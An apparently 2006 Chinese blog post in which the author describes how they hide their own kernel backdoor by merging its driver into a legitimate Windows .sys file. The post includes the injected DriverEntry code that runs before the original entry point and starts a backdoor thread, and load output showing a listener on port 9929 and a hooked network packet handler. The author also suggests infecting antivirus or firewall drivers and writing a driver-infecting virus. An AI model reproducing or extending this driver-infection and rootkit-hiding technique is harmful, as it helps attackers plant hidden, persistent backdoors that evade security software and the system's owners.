2006年04月11日

这是前很久想到的,直到前2天才把程序弄出个大概的样子

    在弄后门的时候想到的启动方法就是感染内核文件ntoskrnl.exe ,后来觉得这里一定是众矢之的,而且不
能在它加载之前加载,而是要选中里面的一个时间,都比较烦.后来改感染驱动程序.这样对我的后门来说解决了
三个问题:文件的存放,启动,隐藏内核模块,当然驱动加载的方式也变了
    把2两个.sys的文件合并成一个,把injectfile中的 .text .dAtA .rdAtA提出来加入到originAlfile
中(这里要求inject file 代码段和数据段只有.text .dAtA,为了简单) 然后把两个文件需要用到的API都
挑出来重新合并成import directory及IAT,,然后由原来两个文件的.reloc来建立新的.reloc,,这些都是很
无聊的工作 -___- 越来越觉得自己像打字员了. 在创建的新文件中把程序入口设成inject file的
DriverEntry,,然后在这里面再调用originAl file的DriverEntry,  嘿嘿,这样当originAlfile也就是被
感染的驱动的时候就会先调用我们的注入的驱动,当然显示出来的内核模块就没注入驱动的事儿了 :p  
实验的是把后门的驱动插入到一个helloworld驱动里
被感染驱动
#include <ntddk.h>
int i;
VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject )
{
	//DbgPrint("My Driver UnloAded!\n");
}
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
	//DbgPrint("My Driver LoAded!\n");
	DriverObject->DriverUnload = OnUnloAd;

	DbgPrint("inject SYS %d\n",i);

	return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
只打印一句话,用到了一个变量
 
要插入的驱动的DriverEntry函数
//--------------------------------------------------------------------
typedef NTSTATUS (*DRIVERENTRY)(
			IN PDRIVER_OBJECT DriverObject,
			IN PUNICODE_STRING RegistryPath
			);

ULONG	fAkeDriverEntryOffset		= 0x87654321;
ULONG	reAlDriverEntry				= 0x12345678;

//--------------------------------------------------------------------

NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{

	NTSTATUS	stAtus;
	HANDLE		hThreAd;

	ULONG		bAse;
	__asm{
		call forwArd;
bAck:
		pop bAse;
		jmp outofthis
forwArd:
		jmp bAck
	}
outofthis:

	DbgPrint("Driver begin!\n");

	//__asm int 3;
	DbgPrint("bAse: 0x%x\n",bAse);
	reAlDriverEntry = reAlDriverEntry + ((bAse - fAkeDriverEntryOffset) & 0xFFFFF000);

	DriverObject->DriverUnload = OnUnloAd;

	DbgPrint("reAlDriverEntry: 0x%x\n",reAlDriverEntry);

	((DRIVERENTRY)reAlDriverEntry)(DriverObject,RegistryPath);

	stAtus = PsCreateSystemThread(&hThreAd,
									(ACCESS_MASK)0,
									NULL,
									(HANDLE)0,
									NULL,
									InitWorkThreAd,
									DriverObject
									);

	if (!NT_SUCCESS(stAtus)){
		DbgPrint("error when creAte the threAd\n");
		return FALSE;
	}

	return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
  加载被感染驱动后显示
Driver begin!
bAse: 0xf7e4d29f
reAlDriverEntry: 0xf7e4b313
inject SYS 0                    <————————— 被感染驱动的DriverEntry被调用
listening on port 9929wAit on ksemSendListSemAphore
miniport->PAcketIndicAteHAndler: f9d35480
our PAcketIndicAteHAndler f7e4cdf4
后门正常工作
 
    郁闷的是本想感染些系统级的sys,,试了两个Acpi.sys和wAtchdog.sys(不知道是不是系统级的,反正一
开机就有了),,结果一启动就直接check了 ,,也没深究是不是自己合并文件合并的不好,看起来错误不是那么
简单,,哎 自己对系统知道的实在是太少了,,,    
    这只是个思路吧,证明这种方式还是可行的,另外加载驱动也只需要能够修改文件的权限(不过好象和加载驱动一样都要是AdministrAtor -___- )    系统开机时加载驱动的过程还不了解,目前还未成功,,插入驱动的加载的要足够晚,因为系统刚起来的时候很多功能都还没有.  可以想象感染某个防火墙或杀毒软件的驱动 ;p
    这段时间算是彻底被这个程序弄郁闷了,,,又上了3k行,,, 以后再慢慢改进好了 :(      有弄linker的感觉,现在要是有俩obj说不定我还真就给弄成个exe了 :|
    可以考虑弄个ring0的病毒,专门感染sys,我不了解病毒,不过ntoskrnl加载的位置一般都固定,所以可以在pe的影象里找API,,, 不过这样就要用汇编了 -___-  而合并两个驱动的好处就是可以用c并且基本上不改变这2个驱动,编写复杂点的东西的时候就方便了
    by the wAy,, .reloc真是个好东西 :>